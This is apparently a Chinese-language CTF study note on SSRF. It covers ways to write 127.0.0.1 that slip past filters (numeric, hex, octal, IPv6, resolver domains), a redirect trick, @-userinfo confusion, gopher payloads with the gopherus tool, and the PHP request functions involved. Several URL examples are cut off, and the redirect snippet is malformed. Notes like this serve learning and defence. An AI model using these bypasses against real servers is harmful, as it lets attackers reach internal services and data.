构造http请求时必须在每一句后面加上\r\n,结束时为\r\n\r\n,必须要空一行用于区分报文头和报文体
绕过
ip绕过:
1 2 3 4 5 6 7 8 9 10
| 全以127.0.0.1为例 长整型: 2130706433 十六进制: 全十六进制:0x7f000001 点分:0x7f.0x00.0x00.0x01 八进制: 点分:0177.0000.0000.0001 混合: 十六+十:0x7f.0.0.1 省略零简写:A.B形式:127.1 A.B.C形式:10.0.513对应10.0.2.1 因为513溢出 http://0:有时可以来代替http://127.0.0.1
sudo.cc:解析到本地的域名,无数字绕过,http://sudo.cc xip.io:解析任意域名,如:127.0.0.1.xip.io --> 127.0.0.1
|
location绕过:
1 2 3 4 5 6
| 在服务器弄一个locationlocal.php文件 内容类似: <?php header("http://127.0.0.1/flag.php"); ?> 题目传参:http:
|
@截断:
1 2 3 4 5 6 7 8 9 10 11
| 例: <?php $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); } ?> url=http: RFC 3986标准中,一个标准url结构为scheme: 解析器会认为ctf为用户名,127.0.0.1才是目标地址
|
IPv6混合地址绕过
1 2 3 4
| /127.0.0.1的IPv6写法 http://[0:0:0:0:0:ffff:127.0.0.1] http://[::ffff:127.0.0.1] http://[::ffff:7f00:1]
|
函数
parse_url:把url字符串拆解成组成部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 例子: <?php $url="https://www.example.com:8080/path/to/page.php?id=123&s=search#top"; $parts=parse_url($url); print_r($parts); ?> 结果: Array{ [scheme] => https [host] => www.example.com [port] => 8080 [path] => /path/to/page.php [query] => id=123&s=search [fragment] => top }
|
gethostbyname:通过域名获取对应IP,DNS解析
filter_var:过滤器,用于验证和清理(如去除HTML标签,转义特殊符号)
1 2 3 4 5 6 7 8 9 10 11 12 13
| 语法:filter)_ var($变量,$过滤器常量,$标志或选项)
验证常量: FILTER_VALIDATE_IP:验证IPv4/IPv6 FILTER_VALIDATE_BOOLEAN:验证布尔值(支持"yes","true","on",1) 清理常量: FILTER_SANITIZE_NUMBER_INT:只保留数组和正负号 FILTER_SANITIZE_SPECIAL_CHARS:转义HTML特殊字符(防XSS) 标志常量: FILTER_FLAG_IPV4:只允许ipv4 FILTER_FLAG_IPV6:只允许ipv6 FILTER_FLAG_NO_PRIV_RANGE:禁止私有网段 FILTER_FLAG_NO_RES_RANGE:禁止保留网段
|
url_getinfo:发起网络请求后,获取这个请求的统计信息
1 2 3 4 5 6 7 8 9 10
| 例: <?php $ch = curl_init("https://www.google.com"); curl_exec($ch); $info=curl_getinfo($ch); echo 'HTTP状态码'.$info['http_code']; echo '传输耗时'.$info['total_time']; echo '最终访问的url'.$info['url']; curl_close($ch); ?>
|
pathinfo:将文件路径转成数组形式
1 2 3 4 5 6 7 8 9 10
| <?php print_r(pathinfo("/test/test2/test.txt")); 输出: Array ( [dirname] => /test/test2 [basename] => test.txt [extension] => txt [filename] => test )
|
常用协议
gopher:用于发送构造的请求包,要进行url编码,ssrf攻击时要进行两次url编码
1 2 3 4 5 6 7 8
| gopher:
例子: curl gopher:
工具:gopherus,可以辅助我们生成请求,用法如: gopherus --exploit mysql gopherus --exploit redis
|
file:用于访问本地文件系统的URI协议,它允许通过URI来直接引用文件系统中的文件。 file协议可以查看本地的文件,如果存在ssrf漏洞的主机挂载了一些内网的资源,就可以借助ssrf漏洞访问内网的资源
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
常见漏洞函数
file_get_contents():读取文件内容
1 2 3 4
| $file_contents = file_get_contents("./demo.txt");
$url_contents = file_get_contents('http://example.com/');
|
fsockopen():用于连接服务器与其通信
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| 格式:resource fsockopen(string $hostname, int $port = -1, int &$errno = null, string &$errstr = null, float $timeout = null) $hostname :要连接的主机名或 IP 地址。 $port :可选参数,默认为 -1 。要连接的端口号。如果未指定端口,则使用默认端口。 $errno :可选参数,默认为 null 。如果连接失败,则返回错误代码。 $errstr :可选参数,默认为 null 。如果连接失败,则返回错误消息。 $timeout :可选参数,默认为 null 。连接超时时间,以秒为单位。如果在指定的时间内无法建立连接,则函数返回 false 。
<?php $socket = fsockopen('www.baidu.com', 80, $errno, $errstr, 30); if ($socket) { $request = "GET / HTTP/1.1\r\n"; $request .= "Host: www.baidu.com\r\n"; $request .= "Connection: Close\r\n\r\n"; fwrite($socket, $request); while (!feof($socket)) { $response .= fgets($socket, 1024); } fclose($socket); echo $response; } else { echo "Error $errno: $errstr"; } ?>
|
curl_exec():用于执行 cURL 会话,发送 HTTP 请求并获取响应
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 语法: mixed curl_exec(resource $curl)
$curl :cURL 句柄,使用 curl_init() 创建。
<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://www.baidu.com/'); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl);
curl_close($curl);
echo $response; ?> 在这个例子中,curl_exec()函数使用cURL句柄$curl执行HTTP GET请求,并返回服务器的响应。使用curl_setopt()函数设置cURL选项,例如请求的URL和返回数据的格式。最后,使用curl_close()函数关闭cURL句柄,并将响应输出到屏幕上
|